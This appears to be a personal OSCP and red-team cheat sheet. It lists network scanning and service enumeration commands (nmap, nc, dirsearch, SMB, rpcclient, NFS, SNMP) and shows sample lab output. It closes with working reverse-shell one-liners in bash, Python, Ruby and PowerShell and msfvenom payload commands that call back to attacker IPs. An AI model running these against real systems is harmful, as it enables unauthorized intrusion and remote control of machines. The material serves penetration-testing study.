
There are many cheat sheets out there, but this is mine.
There are many cheat sheets out there, but this is mine. It's a work in progress right now, and lives as a rought draft that's updated a lot, at times. I started this while I was studying for my OSCP, but it's now evolving to include more practical things that I need as a red teamer. The new additions will most likely be of no use on the exam, and may even include tools that are banned.
Very incomplete...
find / -name flag.txt to find files by name.
grep -R "flag40" / -s -n loot for string in files, recursively searching them from the root directory, no error output.
dir /s flag.txt to find files in current directory and subdirectories named flag.txt.
A useful tool -> wadcoms.github.io
nmap -sn 10.11.1.0/24 network sweep to find hosts.
nmap -sn 10.11.1.0/24 -oG - | awk '/Up$/{print $2}' > list_ips.txt sweep network for IP's that are up, and save the IP addresses in a list.nmap -A 10.10.10.10 for a quick scan of common TCP ports with OS and service detection.
nmap -A 10.10.10.10 -p- to scan all TCP ports with OS and service detection.
nmap -A -sU 10.10.10.10 to scan all UDP ports with OS and service detection.
sudo nmap -O -A -sV 10.10.10.10 to scan all common TCP ports, finger print the OS, run scrips and grab banners.
proxychains nmap -Pn -sT 10.10.10.10 -v because ICMP/UDP scans don't work.
The -w flag to specify timeout in seconds and -z flag to send zero data (for scanning)
nc -nvv -w 1 -z 10.11.1.220 3388-3390 TCP scan from ports 3388-3390.
nc -nv -u -z -w 1 10.11.1.115 160-162 UDP scan from ports 160-162.
gobuster dir -u http://10.1.1.27 -w /usr/share/wordlists/dirb/big.txt.I like dirsearch also.
Useful wordlists on Kali
kali@kali:~/Tools/dirsearch$ ls /usr/share/wordlists
dirb dirbuster fasttrack.txt fern-wifi metasploit nmap.lst rockyou.txt rockyou.txt.gz wfuzz
kali@kali:~/Tools/dirsearch$ ls /usr/share/seclists
Discovery Fuzzing IOCs Miscellaneous Passwords Pattern-Matching Payloads README.md Usernames Web-Shells
kali@kali:~/Tools/dirsearch$
python3 dirsearch.py -u http://10.11.1.44 -t 100 -e php,gzip,tar,txt -w /usr/share/wordlists/dirb/big.txt -r directory enum with dirb's big.txt, copy/paste and just IP/URL and extensions.
python3 dirsearch.py -u http://10.11.1.44 -t 100 -e php,gzip,tar,txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r directory enum with dirbuster's directory list, copy/paste and just IP/URL and extensions.
python3 dirsearch.py -u http://10.11.1.71 -t 100 -e cgi -w /usr/share/seclists/Discovery/Web-Content/CGIs.txt -r, brute force CGI's.
An rsync module is essentially a directory share. These modules can optionally be protected by a password. This options lists the available modules and, optionally, determines if the module requires a password to access**:**
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
smbclient -L 10.11.1.146 To list availble shares
smbclient //10.11.1.146/IPC$ to login to that share. If that doesn't work, try to sudo... sudo smbclient //10.11.1.146/IPC$
enum4linux 10.11.1.146 -a -o to use enum4linux to automate smb share.
If you can connect with Null logon -> rpcclient -U '' -N forest.htb.
rpcclient $> querydomaininfo
command not found: querydomaininfo
rpcclient $> querydominfo
Domain: HTB
Server:
Comment:
Total Users: 105
Total Groups: 0
Total Aliases: 0
Sequence No: 1
Force Logoff: -1
Domain Server State: 0x1
Server Role: ROLE_DOMAIN_PDC
Unknown 3: 0x1
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
rpcclient $>
showmount -e 10.10.10.10 to see available mounts
mount -t nfs 10.10.10.10:/ /tmp -o nolock to mount the root, or whatever folder.
onesixtyone -c community -i ips scan target network to identify SNMP servers where community and ips are lists community = (public, private, manager).
snmp-check 10.11.1.227 does everything below, but better and formats it for you nicely :)
snmpwalk -c public -v1 -t 10 10.11.1.115 enumerate entire MIB tree.
snmpwalk -c public -v1 10.11.1.14 1.3.6.1.4.1.77.1.2.25 enumerate Windows users.
snmpwalk -c public -v1 10.11.1.73 1.3.6.1.2.1.25.4.2.1.2 enumerate Windows running processes.
snmpwalk -c public -v1 10.11.1.14 1.3.6.1.2.1.6.13.1.3 enumerate open TCP ports.
snmpwalk -c public -v1 10.11.1.50 1.3.6.1.2.1.25.6.3.1.2 enumerate installed software.
/bin/bash -i >& /dev/tcp/192.168.119.137/1337 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
ruby -rsocket -e'f=TCPSocket.open("10.10.14.3",8081).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.119.137',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
nc -lvp 4444 listen (catch) reverse shell with Netcat on port 4444
python -c 'import pty; pty.spawn("/bin/bash")' or python3 -c 'import pty; pty.spawn("/bin/bash")'
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.137 LPORT=4444 -f asp > shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.119.137 LPORT=4444 -f war > shell.war
This also works for Cold Fusion instead of the crazy web shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.119.137 LPORT=4444 -f raw > shell.jsp
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.49.133 LPORT=443 -f elf > shell.elf